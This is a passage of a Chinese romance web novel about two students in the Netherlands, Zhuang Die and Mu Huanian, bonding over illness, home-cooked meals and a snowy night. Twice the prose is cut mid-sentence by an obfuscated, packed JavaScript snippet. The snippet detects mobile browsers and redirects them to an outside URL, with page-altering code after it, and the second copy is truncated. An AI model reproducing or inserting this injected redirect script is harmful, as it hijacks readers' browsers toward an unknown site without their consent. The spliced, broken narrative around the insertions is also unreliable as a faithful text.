庄迭笑了一声不再理他,自己转身在厨房里忙活。这个厨房的通风确实不好,估计是做不了炒菜,好在庄迭也不会。他接了半锅水把面煮熟,加了一些虾米,卧了一个鸡蛋,想要加香菜的时候发现冰箱里没有,于是问:“你不吃香菜?” “不吃。” 庄迭点了点头,把生菜铺上去,盖上锅盖焖了两分钟,然后将锅里的面一分为二,端到了客厅。 “我也饿了,蹭你一点。你凑活吃。” 慕华年没动筷子。面前的面氤氲着热气,熏得他眼睛发酸,而且酸汤面的酸味有点浓,即使他鼻塞都闻得到。 “呃,醋加多了。”庄迭尝了一口,皱着眉看慕华年,“你试试,要是太酸,我去过一遍水。” 慕华年又看了眼碗里的面,慢慢从被子里伸出手。这几天他浑身没力气,家里的速食被他吃得差不多了。他在荷兰没什么朋友,又怕流感会传染别人,就一个人熬。 一嘴下去,强烈的酸味刺激得他直皱眉,但他什么也没说,低头继续吃面,缓了缓才说:“吃吧。” 庄迭其实看到了他的表情,差点没忍住要笑,但是慕华年什么也没说,让庄迭心里有种说不出的滋味。 一锅面因为醋放多了,两人吃得很慢。吃到后来慕华年感觉病都好多了,因为前几天他根本尝不出味道。 “我去洗碗。” 看慕华年放下筷子,庄迭很自然地起身去厨房。慕华年抿着嘴看他的背影。 家里的灯瓦数很低,昏昏的,只有书旁边的台灯是亮的。此时庄迭的身影融在昏黄的光线里,却让慕华年感到一阵温暖。 他也不知道自己为什么要问庄迭那天之后的事情,但刚才庄迭的神情很紧张。那是相处了这么久,慕华年感觉到的,属于他的,最真实的感情。 “你吃的什么药?”庄迭洗完手回来,抓着桌子上的药盒看了一眼,只是普通的风寒冲剂,“真不去医院?” 慕华年摇头,他不是很喜欢去医院。 “那行,我让张叔买药送过来。” “别……”慕华年刚想起身去拦庄迭,结果被脚下的被子绊了一跤,重新摔回沙发。 “哥们,就你这样还不让我进门呢?你过去十天怎么熬过来的?” 庄迭趁慕华年不注意,飞快地用手掌抚过他的额头,下意识说了句“我去”。 “怪不得不要电暖器,你都快能火力发电了。” 慕华年吃了东西,脑袋更晕了,他靠着沙发看庄迭打电话,听他跟电话那头说“朋友,中国人,流感,特别烫”。 庄迭打完电话一回头,沙发上的人胸口平静起伏,慕华年已经睡了。 “较劲,”庄迭凑过去看了他一眼,有点惊讶于慕华年的毫无防备,笑了一声,“我跟你较劲行不行?” 张宪来的时候,庄迭刚把慕华年抱到床上。这人看着比他高,可能是生病的原因,轻轻一拎就起来了。 “谁啊?”张宪压着声音问。 “佐伊酒吧里的调酒师,莱顿的学生,算是我的朋友吧。” 庄迭说最后这句时有点心虚,张宪也不再细问,把手里的药递给他。庄迭走过去本来想着叫醒慕华年,被张宪拦住了。 “能睡就让睡一会,休息好了病好得快。” 庄迭点了点头,把药放在床头柜上。因为是外文的,他担心慕华年看不懂,还写了一张便利贴。 不过写完便利贴时他好像想起什么,笑了一声。 “傻了?笑什么呢?”张宪问。 庄迭摇头什么也没说。两个人把家里的电源什么的都检查了一遍,庄迭又给慕华年充了电话费,发了一条短信:“我走了。药记得吃。明天我还来。必须给我开门。” 慕华年再睁眼已经是第二天中午。房间里的醋酸味好像还在,他伸手去拿手机,看到旁边的药和便利贴,不自觉软了目光。 那两条消息慕华年其实收到了,可他不知道该怎么回,他没有处理过这种关系。 它们此时此刻就躺在庄迭最后那条消息的上面。 慕华年保存了庄迭的号码,然后发现这个号码正在申请加他微信好友。 “是你吗?”验证框里的话小心翼翼的。 慕华年点了通过,“是。” “你醒了?把药吃了。”对面回得很快,接着又发来一条,“先吃饭吧,我给你点了餐。” 门铃适时响起,慕华年趿着拖鞋去拿。在这住了两个多月,他还没见过这么正宗的中餐:一碗熬得很稠的南瓜粥,一个奶黄包,一个烧麦,一份蚝油生菜,居然还有一盘酱牛肉。 “哪儿买的?”慕华年问。 “你别管,吃。肯定比昨晚的饭好吃点。” 对面的人好像没事做,一直在等着慕华年的消息,不管他说什么都会秒回。 “为什么要加微信?” “微信总不会欠费。” 慕华年按灭了手机,打开饭盒尝了一口,他敢肯定不是外卖。 “对了,我晚上去的时候会路过超市,要给你带点什么吗?我昨天把你最后一个鸡蛋用掉了。” “别来了。” 这句话没有回复。 慕华年握着手机看了看刚才寥寥几句对话,觉得自己的态度很不应该,犹豫了很久放下筷子,字斟句酌说:“抱歉,我不太会说话。昨晚很谢谢你,今天也很谢谢你。谢谢你的饭、你的药,以及你扶我去床上。但我今天感觉好多了,你不用特地过来,太麻烦了。” 庄迭的手机常亮,看到这条消息的时候他在喝和慕华年一样的粥——张宪做的。他看着手机上小心翼翼的回复,想到了佐伊对这个人的评价,笑出声。 “昨天就傻乐,怎么今天还乐呢?” 张宪把厨房收拾干净才出来吃饭,一抬头就看到庄迭呲着牙笑。 刚才他托朋友找外卖员去送餐的时候就觉得不对劲,但他不会主动过问庄迭的事,他养大的孩子他知道,庄迭从不主动做坏事。 “没什么,就是觉得有些人无趣到了极致,反倒有趣起来了。”庄迭笑着回。 张宪在庄迭对面坐下,上下打量了他一番。眼前的人时不时看一眼手机,但显然没有再等到任何消息。 “昨天那 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17111616|195872||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个男孩子?” “嗯,怎么样?” 庄迭关掉手机专心吃饭。慕华年不理他在他的意料之中,不让他去他也想得到,他没觉得慕华年是一个随便的人。 可昨天晚上睡觉的时候窝在被子里,手臂上若隐若现着那滚烫的温度,即使隔着被子又隔着衣服,庄迭还是觉得热烈,给他的心烫了一窟窿。 “小迭,”张宪用勺子搅着碗里的粥,昨天他一接电话就能听出庄迭的紧张,“认真了?” “我每次都挺认真的啊,”庄迭咬了口奶黄包,“好吃,就等您这一口呢。” “别打岔,我和你聊聊?” 庄迭抬头看着张宪。那天从赛车场回来,张宪什么也没问,但是庄迭知道他什么都清楚。他们两个出门的时候看到了站在大门口的慕华年,但当时的庄迭只想逃,他不想让慕华年看到那样的自己。 后来慕华年问起那天的事情时,庄迭已经放下了,所以他也并不打算告诉慕华年任何细节。 只是昨晚,庄迭很想问问慕华年,你为什么等我? “您说。” 庄迭认真吃饭,嘴角蹭上奶黄包的内馅,像个小孩子一样用舌头舔掉。张宪看得出来,他摆明了什么都不打算说。 “算了,我不管你,你自己把握分寸。就一点,这个小孩和你之前那些朋友不一样。” 张宪还是懂语言的艺术,将那些人定义为他的“朋友”,庄迭咧着嘴笑,就着粥把包子吃完。 其实张宪在昨天之前就见过慕华年。那天他和佐伊在酒吧的休息室聊天,门开着一条缝,慕华年在吧台里忙。 “那小孩真像他。”佐伊是这么说的。张宪知道他说的是谁。 只是在庄迭做出决定之前,张宪不会再针对慕华年多说一句,这是对人的不尊重。 “我知道,”庄迭难得认真,他把碗里的粥一口气喝完,端端正正坐好,“可我想试试。” 庄迭拿起手机,取下手机壳,那张他们俩的合照就贴着他的掌心。 “张叔,他是除了你以外,唯一一个我见一眼,心就能安定下来的人。” 这种感情,庄迭自己也说不清。 可那天在赛车场,慕华年就只是坐在那儿,庄迭的拳头就软了,他第一次忍下了赛场上习以为常的龌龊手段。 实际上如果那天肖扬没有在餐厅当着慕华年的面说出“狗咬狗一嘴毛”,庄迭已经打算放过他了,无论什么结果他都全盘接收。 或许也是因为自己最终没忍住,庄迭不知道该怎么面对慕华年。 “小迭……” “张叔,”庄迭又恢复嘻嘻哈哈的样子,“你到底是怕我受伤,还是怕我辜负了人家?” 张宪不说话了,叹口气去厨房洗碗。庄迭看着他的背影,嘴角笑意更深。他当然明白张宪的意思,但慕华年给他的感觉太不一样了,他就是想去一探究竟。 “我吃完了,等我好了把饭盒给你送过去。还是上次那个别墅对吗?” 手机又弹出来一条消息,庄迭眉眼弯弯,回道:“多麻烦。我去一趟,顺便给你带点东西多好。” “不方便。” 不方便。庄迭翻了个白眼,心想他真想要的话,昨天就能成了。但他怕这句话说出来对面直接把他拉黑,于是换了个问题:“你怎么知道是家里的饭?” “外面做不出来这个味道。还是谢谢你。” 真客气,就差把“保持距离”直接写出来了。庄迭啧了一声,甩过去一个地址。 “我休息日要结束了,过两天可能住学校,张叔也要出门。你送这儿?” “可以。” 一句“可以”,对面又没动静了。庄迭盯着手机发呆,拇指上下滑动着聊天记录。 活了二十多年,他第一次这么委婉且迂回。 21. 第 21 章 慕华年的病拖拖拉拉小半个月,再回学校的时候已经要中期考试了。而自从比赛结束后,李家杰就没见过慕华年,他憋了一肚子问题。今天好不容易见面,借口要帮他补课,跟着去了图书馆。 慕华年虽然不太习惯,但还是任由他搂住了自己的肩膀。 “慕,你那天见到Ash了吗?” 慕华年正在电脑上敲字,突然听到庄迭的名字,手顿了一下,摇头。 李家杰叹了口气,说:“肖扬废了。” 慕华年“嗯”了一声,并没有表现出任何兴趣。他那天看着肖扬上了救护车,大概也能猜到他的下场,他甚至觉得能给肖扬留一条命都是老天垂怜了。 “不得不说,Ash有点太狠了。”李家杰撇着嘴道。 “我们是学法的。规则这种东西,你怎么看?” 慕华年抬头看着李家杰,难得较真。李家杰不太适应他这态度,眼神飘忽着答:“规则嘛,那制定出来肯定就是为了遵守的。但是……” “但是?”慕华年转过头继续写文档。 “我明白你的意思,肖扬是咎由自取,我只是看不懂Ash。他比了快四年车了,不是第一次遇到这种事情,但从没闹出过人命。” “严谨一点,人还活着。”慕华年说话时手下的动作丝毫不见停顿。 他现在还堆着两篇小论文和一个pre,得赶在灵感消失前完成三个文本的大纲,然后去TUD见那个被讨论了一个月热度都没降的Ash。 李家杰瞧得出慕华年的意思,抿了抿嘴不再继续这个话题,转而和他讨论pre上的几个bug。他和慕华年选了同一个老师的课,那天进赛车场前就把人拉进了pre小组。他知道慕华年很少主动社交,大概率是哪个组缺人去哪个,但他做事认真,是个好搭档。 “慕,你在国内有朋友吗?”写着写着,李家杰又开始发问。 起初他担心慕华年会嫌烦,后来发现这人虽然不爱说话,忍耐力却超乎常人,正好适合他这种话痨。相处下来,他挺喜欢这个沉默寡言的男生。 慕华年点头,“人不可能一个朋友都没有。” “但我看你基本不和他们联系?”李家杰又问。 “他们找我,我会回。” “就像我们俩这样?” 慕华年点了头,李家杰笑了,他倒是没想到慕华年会把他当朋友。 “那你自己呢?没有烦心事需要倾诉吗?” “我觉得这样会麻烦别人。而且情绪这种东西,别人的开解真的有用吗?” 慕华年答得很认真,甚至还在说完话后抬起头看了李家杰一眼。 “可朋友不就是这样吗?你有困难我帮忙,我有心事你听着。你有事可以跟我说,我这人嘴严、耐心,绝对可靠。” 慕华年道了谢,李家杰耸耸肩,看得出他没打算开口。 其实从坐下开始,李家杰就在观察慕华年。那天他自己离开赛车场,第二天再回学校的时候黑眼圈比平时都重。 他和Ash到底是什么关系?他们那天见面了吗?Ash又是怎么回事?慕华年越不说,李家杰越好奇,只是他们好像还没熟到能打听私生活的地步。 “今天先到这,我还有事。ppt终稿明晚发你,有问题随时说。” “才六点,今天这么早走?”李家杰越发觉得慕华年身上有秘密,但不好再问,笑着挥手,“也对,你病刚好,注意休息!” 慕华年点头后离开了图书馆。 十二月的荷兰,风吹来的时候带着潮气,日照时间越来越短,黑夜像是强硬的侵略者。慕华年背着双肩包走在街上,包里除了电脑,就是庄迭的饭盒。 那天慕华年不让庄迭来,他真的就没去,只是等到晚上的时候有人来送了一个电暖器。慕华年查了价格,用微信转账过去。庄迭几乎秒收,然后回了条消息:“荷兰暖气很贵,用电暖器的话能省点。你那个房间布局也很适合,你放在客厅对着你床吹。” “好的,谢谢。” 慕华年坦然地收下了东西,毕竟东西都送到门口了再推脱,显得矫情。 其实在庄迭连续去酒吧一周后,他的心思就明明白白摆在慕华年面前了,他只是没想到庄迭会承认得那么干脆。 不过他的坦诚也算件好事,这样慕华年可以直接拒绝,此后他再做任何事情,都与爱情无关。 “吃了吗?我现在去你们学校。” 对面罕见地没回复。慕华年把手机放回口袋,坐上前往代尔夫特的火车。 荷兰的交通慕华年花了一天时间才搞明白,搞明白后更不爱出门了。学校到酒吧,酒吧到家,三点一线全靠步行。他晚上下班一个人戴着降噪耳机,大多时候走得很快,只有庄迭跟着的那几天,他会放慢速度,虽然他自己没有意识到。 慕华年靠着座椅,耳机里放着粤语歌。那天听李家杰说粤语后,他就开始抽空学。歌手唱到“无人时别理亲疏,二人暂借星火,这分钟仿似伴侣至少并非孤独过”,慕华年闭了眼。 火车速度不快,空气中隐约的味道慕华年也闻习惯了,他靠听力勉强能听懂歌词,嘴唇跟着模拟发音。 要说慕华年的生活无趣是真的,但充实也是真的。他学这些东西不为考证,不为找工作,只是遇到了,发现自己不会,就开始学。至于学到什么程度,他不在意。当初日语学到课题结束就没再继续了。 庄迭看到慕华年消息时,已经是三小时后。晚上九点半,他离开实验室去找吃的。 他记得慕华年今天会来,但实验室还有一些工作要赶着今天做完,他提前给慕华年说了直接进实验室找他,可推开门时,他发现有人靠着墙假寐。 至于为什么是假寐,因为门一开,那人就睁眼了。 “什么时候来的?怎么不直接进来?我以为你今天不来了。刚才抱歉,我做数据的时候不看手机,消息刚看到。” 庄迭把可能产生误会的地方都解释清楚了。慕华年抬头看他,高大的男孩站在走廊的灯光下,穿着简单的白衬衫,通体只有袖口有个品牌logo。 不得不说,庄迭可塑性真的很强,每套衣服他都能穿出不一样的味道。 慕华年什么也没说,低头“嗯”了一声。他刚才吃了路上买的三明治,顺便吃了药,药劲上来头晕,没想到就靠着墙睡着了。 他也觉得奇怪,连着两次,只要靠近庄迭他就能睡着,比安眠药还管用。 “吃了吗?”慕华年问。 庄迭摇头,慕华年打开背包递过饭盒,顺手拿出一个包装袋。 “三明治,凑活垫垫,就当我的谢礼。走了。” 慕华年说完就要走。庄迭接过东西,觉得他欲盖弥彰。 就非要说是谢礼吗?如果是谢礼,为什么要提前问一句自己吃了没有? “我还有一个小时下班,我开车 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慕华年很少和人闹僵,他不想因为庄迭一时兴起而打扰到彼此的生活。做朋友是他们能体面见面的唯一方式。 “最近有点忙。” 不说拒绝,也不答应,成年人的回绝方式。 庄迭笑了笑没再说什么,转身进了实验室。进去的时候他没有关门,慕华年知道这是他的潜台词,于是大大方方跟着庄迭走进去。 实验室外部空间很小,只有两排工作台加一张会议桌,但收拾得很干净,剩余的空间全部藏在一块很大的玻璃后面,那里停着断送了肖扬职业生涯的“罪魁祸首”。 慕华年没由来地想到了李家杰的话。而庄迭坐下后继续敲键盘,屏幕上数据代码飞速闪过。慕华年看不懂,却也不打算问。 他的好学在庄迭这里收敛了很多。 “自己找地方坐,大概一个小时后回家。”庄迭头也不回地说。 慕华年选了一个他背后的位置,坐下继续写论文。 这一个小时过得很快,至少庄迭是这么觉得的。他抬眼时可以从玻璃上看到慕华年的倒影。黑色的棉服,即使坐着也挺直脊背,头发好像比之前长了点,多了一点顺毛小狗的感觉。 庄迭嘴角噙着笑,手下的动作更快了一些。他承认今天让慕华年来学校找他是有私心的,实验室只有他一个,慕华年能在这小小的空间里看到和平常完全不一样的庄迭。 慕华年也的确看到了。他手里的论文敲了改,改了删,他很少有这样注意力不集中的时候。 原本想着背对着就不会受到干扰,慕华年还是单纯了。他戴着耳机,但是里面什么也没有放,他能听到背后的人敲打键盘和喝水的声音。更巧的是,他的电脑屏幕也映着庄迭的影子。 那天慕华年回家后查过N7,算是一个老牌车队,不过在庄迭加入之前成绩平平,只有创始人Micky在的时候有过一瞬间的辉煌。 后来Micky意外去世,N7就没了后劲儿。他不知道十八岁的庄迭为何会押注这个默默无闻的车队,并带着N7在当年的巡回赛上一鸣惊人。 如果说慕华年的奇怪是因为人生履历太过简单,那庄迭的奇怪就是他的人生太过精彩。 慕华年觉得,如果不是酒吧偶遇,他们应该是这辈子都不会相交的两条平行线。 22. 第 22 章 “走,回家。” 庄迭合上笔记本,转身靠在操作台上,看着慕华年默默收拾东西,那副样子看得他直想笑。 “这么尴尬,干嘛还答应让我送?”庄迭问。 “不尴尬。”慕华年说完觉得庄迭肯定不信,又补充道,“你开车确实比我坐火车方便。我明天还有课,前几天请假也落了很多作业,时间很紧。” 解释得很认真,但庄迭从这份认真里听出了一丝紧张。他凑到慕华年面前,眨着眼睛打量他。 除了那天晚上的接触,庄迭一直保持着恰到好处的距离,此刻他与慕华年却不过半米。 “你谈过恋爱吗?” 慕华年点头,“女孩子,学妹,大四时候谈的,谈了三个月,她受不了我这种性格。” 庄迭还没问呢,他就全交代了。庄迭笑意更深,说:“确实,你这性格是挺急人的。” 慕华年也不为自己辩解,收拾好背包,不甘示弱地站在庄迭面前。他比庄迭高,垂眸看人时带着夜一般的黑。 “慕华年,你觉得一个真的喜欢你的人,会愿意和你做朋友吗?” 慕华年不知道。少年时代被他拒绝的女孩都羞愤地发誓不再理他,而他从未主动对任何人说过喜欢。 这大概也是前女友受不了他的原因,说他像一座怎么也捂不热的冰山。 慕华年接受了这个评价,诚恳地向小姑娘道歉,把自己贬得一无是处。他说着说着,姑娘哭了,说他根本不会爱人。 最后算是和平分手。姑娘在三个月后找了新的男朋友,而慕华年从这段恋爱中获得了深刻的教训,他能做的就是管好自己,别再因自己的笨拙伤害其他人。 “不知道?”见慕华年不回答,庄迭反问道,随即大笑起来。他走过去关掉实验室的灯,等慕华年出来的时候说,“不会。至少我不会。” 慕华年站在原地没动。庄迭回头看他,那一刻他第一次直观感觉到慕华年的身影是孤独的。 楼道的灯光打在他的身上,却丝毫照不出他的轮廓,他活得像自己的影子。 “怎么,吓得不敢坐我的车了?”庄迭笑着看他。 慕华年叹了口气走过来,看着庄迭,好像在思考要怎么打破这个僵局。 “我实话和你说,我也是第一次这么追人。我没被人拒绝过,所以我也没试过和拒绝我的人做朋友。” 庄迭语气正经了些,慕华年还是沉默地看着他。 “我谈过正儿八经的恋爱就两段,一次高中,一次大二,之后就开始忙着和路远舟修车。比起人,我可能更熟悉轴承和轮胎。” 话是庄迭笑着说的,可慕华年知道他很认真,至少比那次脱口而出的承认更认真。 “我是常去娱乐场所,为了合群,也为了让国内的人放心。但是我管得住我的下半身,我没做过,更没有外面传的那些乱七八糟的。你放心,我没病。” 慕华年因为这句话笑出声,别过脸无奈地摇了摇头。庄迭凑过去盯着他继续说:“我名声是不好,你还听过什么,我都可以解释。咱坦白从宽,行吗?” “不用和我说这些。” “那为什么呢,为什么不同意呢?就因为我是男的?” 慕华年抬起头,这一次他没看庄迭,而是望向窗外——下雪了。 他很清楚答案是否定的。 “我不会因为任何传闻改变对一个人的看法,你大可以放心。你的私生活如何,我也并不关心。你二十几的人了,该做什么不该做什么,你选择了你负责就好,不用和任何人解释,包括我。至于为什么不同意,”慕华年垂眸片刻,“庄迭,我不是一个很好的人。” 说完,他擦着庄迭的大衣外沿离开。他走后,庄迭才注意到外面的雪。 荷兰的冬天常下雨,雪倒是不多见。庄迭喜欢雪,小时候在江城他很少见到,他听张宪说过边境的雪是白皑皑一片,可惜回国的经历大多不愉快,他终究没有去过西北。 庄迭下楼取车,开到校门口时看见了慕华年。 突如其来的雪下得大,且急,这一小会儿染白了他的头发。 庄迭降下车窗,说:“上车,我不吃人。” 慕华年转头。在大雪纷飞的夜里,两个人就这样盯着对方的眼睛,一个含着笑,一个晦暗不明。 “哥,病刚好,别闹。” 庄迭侧身推开车门。比起赛车,他日常开的这辆SUV朴实无华。慕华年看到从夹缝吹进去的风吹红了庄迭的耳廓,他向前两步,上了车。 “你不爱听,那以后我就不说了。我想明白了,我们做朋友。” 庄迭目视前方开车,听不出这句话的情绪。慕华年看了他一眼,没说话。 他没什么可说的。这场大雪还给了他清醒。他转过头,靠在座椅上闭眼。 来的时候slowtrain嘈杂,慕华年感觉自己坐了很久,回去的时候庄迭开得很稳,他也还是睡不着。他的倒影映在车窗上,看着外面慢慢堆积起来的雪,始终没有回头。 “我没吃饱。” 车停到公寓楼下,没有道别,庄迭突然来了这么一句。他开车的时候全程没有看慕华年,直到此时也盯着眼前的路。慕华年开车门的手顿了一下,他当然知道庄迭是什么意思。 “张叔不在家,他最近可忙了。”庄迭又补了一句,听起来可怜极了。 慕华年不自觉勾起嘴角,坐在车里没动。 “慕华年,我什么也不做,就想吃你做的饭,行不行?” 庄迭转过头看他,那双眼睛漂亮得惊心动魄。慕华年找不到拒绝的理由,只好点头。 一顿饭而已,就当回礼。 再次进到这个屋子,庄迭终于感觉到了人气。不过他送的电暖器没对着慕华年的床,而是直直朝向他看书的那个沙发。 庄迭没多说,径直走过去坐下。慕华年看了他一眼,把到嘴边的话咽回去,放下背包默默进了厨房。 “我能看吗?” 庄迭拿起那堆书最上面的那本,《悉达多》。 “里面有书签,你别给弄掉了就行。” 慕华年在厨房里找食材,上次鸡蛋吃完他还没来得及买,冰箱里还是庄迭上次来时的那些东西。他皱了皱眉,拿出那包榨菜。 “榨菜肉丝面,行吗?” “行!”庄迭语调上扬。他拿着书,却不自觉地看着厨房里忙碌的身影。 很快厨房飘来炒菜的香味,慕华年似乎处理过,庄迭没有闻到预想中呛鼻的味道。 慕华年的书也和他一样,上面没有笔记,翻看过的页码都很干净。庄迭盯着他看了一会儿,决心给自己找点事分散注意力,于是低着头看书。 这本书庄迭听人提过,但从没静下心来读。他把慕华年的书签夹到最里面,然后翻到第一页开始。 电暖器的轰轰声,台灯的暖黄色,渐渐弥漫的饭香,以及眼前那句唯一画出来的句子:“世界病入膏肓,生命不堪重负。” 庄迭忍不住又看了慕华年一眼。那个背影在厨房的小灯下显得愈加单薄,刚经过的那场感冒让他看上去有些憔悴,可他身上有一种难以言说的镇定,庄迭看着看着又开始发呆。 从遇见慕华年的那天起,庄迭一直在问自己一个问题:你是认真的吗? 平生第一次,他感到了畏惧和胆怯。因为他知道自己真的喜欢上了一个人,或者说,第一次如此渴望被这个人喜欢。 少年时代的爱恋,停留在指尖的触碰,停留在少男少女嬉笑间的亲吻,停留在庄迭还没认清自己的十几岁。那时候的喜欢像初生的小花,懵懂着说喜欢,却不明白什么是喜欢。 但面对慕华年时,一切都不一样了。庄迭说不清,他只觉得慕华年像是炽烈的月光,不如太阳灼热,刚好唤醒他的趋光性,又不至于让他想要逃。 庄迭承认他是自私的,他只是太喜欢待在慕华年身边时这份安定感了。 家。 庄迭想到了这个词。他再抬头看这个小小的房子时,一切都镀着柔和的光,而光里有一个人朝他一步步走来。 “好了,吃吧。” 两碗热气腾腾的面,一碗撒了辣椒,另一碗是干净的面条,庄迭端过那碗看起来更清淡的,慕华年嘴角微微抽动。 “醋自己加。辣椒是我自己炝的,其实不辣,但我担心你吃不惯。” “嗯?那我尝点。” 没等慕华年起身,庄迭的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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庄迭是真饿了。他平时吃饭不快,今天却把碗扫得干干净净。慕华年看看他,又看看自己还剩一半的面,犹豫了一下,什么也没做,说:“挂面味道一般,自己和面会更好吃。” “那你会吗?” “不太熟练。我妈妈比较擅长。” 话题又停到了这个位置。庄迭往后挪了挪,靠进沙发,坐得笔直。慕华年继续低头吃饭,刻意忽略他的小动作,却听见他说:“慕华年,你不用避讳这些。有一个幸福的家庭是很幸运的一件事。我没有,所以我羡慕,但也仅此而已。” “我知道了。” “那能再跟我说说你家的故事吗?肃城有什么好吃的?西北的雪肯定比荷兰壮观吧?阿姨应该会包饺子?听说你们北方人包饺子都是从和面开始的……” 庄迭话多起来了。吃饱后他脸上有一层若隐若现的红晕,又许是慕华年过来的时候把电暖器挪了位置,热风缓缓照着他的床,照着庄迭吹。 慕华年加快速度吃完面,对庄迭的问题有问必答。从早餐到夜宵,从夏日的树荫到冬日的沙枣,他好像也很久没说过这么多话了。 有些东西他不得不承认,眼前这个人让他讨厌不起来,甚至,有一点喜欢。 他的世界安静了太久了,庄迭的声音传过来的时候,他以为是自己的幻觉。 这场天南海北的闲聊持续了很久,直到低着头的慕华年说完话,发现身边的人没了动静,他抬眼去看,庄迭枕着他的抱枕睡得正香。 睡着了倒是乖。慕华年笑了一声,走过去把庄迭摆正,抽胳膊时被庄迭抓住。 人还没醒,手劲倒不小。庄迭皱着眉,慕华年空出来的右手悬了片刻,轻轻拍着他的后颈。 “慕华年。” 庄迭感觉到面前的呼吸,迷糊着喊道。慕华年有些做贼心虚,将右手背到身后,问:“怎么了,不舒服?” “我能和你回家吗?” 慕华年垂着的右手颤了颤,最后一鼓作气把庄迭抱到床上。怀里的人蹭了蹭他的胸口,嘴角勾着笑,像是做了一场很甜的梦。 洗完碗回来,庄迭睡得正熟。慕华年凑近看他,瞧见他睫毛微微颤着,就把屋子里最后那盏台灯也关了。 一片黑暗中,慕华年回到自己的小沙发,看到了庄迭翻开的那一页: “爱并非毫无价值。它源自天性,是一种必需。爱的欲望该得到哺育,痛苦该去品尝,蠢行该去实践。” 23. 第 23 章 庄迭感觉自己睡了很久,醒来时天已大亮。他撑着身子靠在床头,看到一个窝在沙发里的脑袋。慕华年双手抱膝,头微微靠着膝盖,开着一条缝隙的窗户吹进晨风,他不安地将脸换了个方向。 庄迭还记得自己昨晚半梦半醒间说过的话,也记得眼前这个人曾凑在他面前,盯着他看了很久。 一切进展得比他预想的顺利。昨晚进门时,他以为能吃到一碗面就是最好的结果了。 庄迭轻手轻脚下了床。人不能得寸进尺,这个道理他懂。 临走前他又看了眼慕华年,突然想起第一次来这儿时见过的安眠药。药盒就放在感冒冲剂旁边,显然房间的主人并没料到会有人突然造访。昨天再来时,药盒已经不见了。 可在庄迭记忆里,慕华年偶尔在他面前睡觉时,好像睡得都很好。就像现在,他拉开门时,慕华年依然没醒。 慕华年其实醒来了,或者说根本没睡。 昨晚他看完了那本书,带着耳机听了一晚上歌。庄迭半夜醒来时,他正闭眼装睡,他知道身上这条毯子是庄迭给盖的。 窗外的雪在半夜的时候停了,他看到庄迭的车盖着一层薄薄的雪衣。不知为何,他觉得第二天庄迭看到的时候应该会很开心。 庄迭下了楼,慕华年转头望向窗外。 果然,那个穿着棕色大衣的傻子正用手捧引擎盖上的雪,双手很快冻得通红。慕华年看不见他的表情,自己却笑了。 真的是个心思很好猜的人。 慕华年也不知道自己怎么就纵容了庄迭一次又一次,或许是因为那双眼睛看着他的时候,总是湿漉漉的。 他收回视线,关掉电暖器,抬眼看见床上留下的人形印记。庄迭很轻,虽然饭量似乎不错。 摘下耳机,慕华年走过去铺床。庄迭睡觉很规矩,双人床只有半边被子起了褶。慕华年用手抚平被单,不知想到了什么,指尖无意识地摩挲着被沿。 一切如同候鸟短暂的停留,这间屋子很快恢复寂静。 之后的日子,慕华年忙得像个陀螺。李家杰好几次在图书馆看见他通宵,有时会递给他一杯咖啡。慕华年道谢后继续敲电脑。 那两篇小论文评价不错,其中一篇甚至让他提前结了一门课。但慕华年推掉了教授的经验分享,他不喜欢做出头的那个。 “pre应该没问题了,你休息会儿吧。”李家杰侧头看他,“几天没合眼了?” “没事,我等晚上汇报完早点回去补觉。” “行,记得吃点东西,我总觉得你比来的时候更瘦了。” 李家杰还记得慕华年做自我介绍的样子:一身黑衣,坐下后脱了羽绒服,衬衣扣系到最上面那一颗,全程拢共说了三句话。他觉得要不是跟了同一个教授,慕华年可能到毕业都不会和他说话。 不过这段时间一起做小组作业,他看到了不一样的慕华年。或许是因为熟悉了,慕华年在他面前放松了些,有时会盯着手机,虽然不知在等什么,但整个人柔和了许多。 “忙完这阵就是圣诞假了,不出去玩玩?” 慕华年摇头。李家杰笑着继续说:“我和荷宜去法国,有什么要带的吗?” “你去过挪威吗?”慕华年抬头,他的问题问得有些突然,李家杰一时没反应过来,就听到他继续说:“没什么,网上刷到极光了,挺好看的。” “高中的时候去过。”李家杰顿了顿,“你要是想看极光最好二月去,集体爆发的时候最壮观。” “好的,谢谢。” 慕华年难得主动开启话题,李家杰饶有兴趣地看着他,问:“有伴儿了?” 慕华年没回答。李家杰笑着不再追问,他转头把pre上最后一个重点熟悉了一下,开始收拾包。 “去玩玩呗,人生难得再少年。” 慕华年应了声,听见李家杰问:“慕,你毕业就回国吗?” 慕华年的手顿了顿,点头。 “那就趁着今年多走走,以后因为出差什么的再来,就不是二十多岁的感觉了。” “听起来你很有感触。” 李家杰咧着嘴笑了,“我家里还有个大我五岁的哥哥,在德国读的书。毕业家里一摊子事交给他之后,他就再也没去过的德国。我问过他,他说少年不得之物,一辈子都碰不得。” 慕华年没再接话。李家杰走后,他在图书馆待到晚饭时间,去便利店买了个饭团,吃完给周韵打了个电话 电话里周韵问他是不是快放假了,慕华年说是,两个人都没提回家的事情。 当初放弃保研选择出国,慕华年看得出父母的失望。但申请交出去时,他感到难得的轻松。 他迫切需要一段独处的时间,离开家,离开过去的二十二年。 挂掉电话,慕华年翻开和庄迭的聊天记录。消息停在十天前。 挺奇怪的,整整十天那个聒噪的声音像消失了一样。慕华年不知道自己没有出现在酒吧的时候,庄迭是不是也像他现在这样。 那天从家分开后,他们再没见过面。庄迭没再去酒吧,但总会时不时给慕华年发一条消息——或许是自己的午餐,或许是运动时让路远舟帮忙拍的照片,反正他总能找到一些话题。 两个人也不会聊很久,慕华年看到了总会回复,他觉得这是基本礼貌。但他尽量让自己的话显得不敷衍,又不亲密。 十天前,庄迭发了一条“晚安,祝你今晚好梦”,就再没消息。 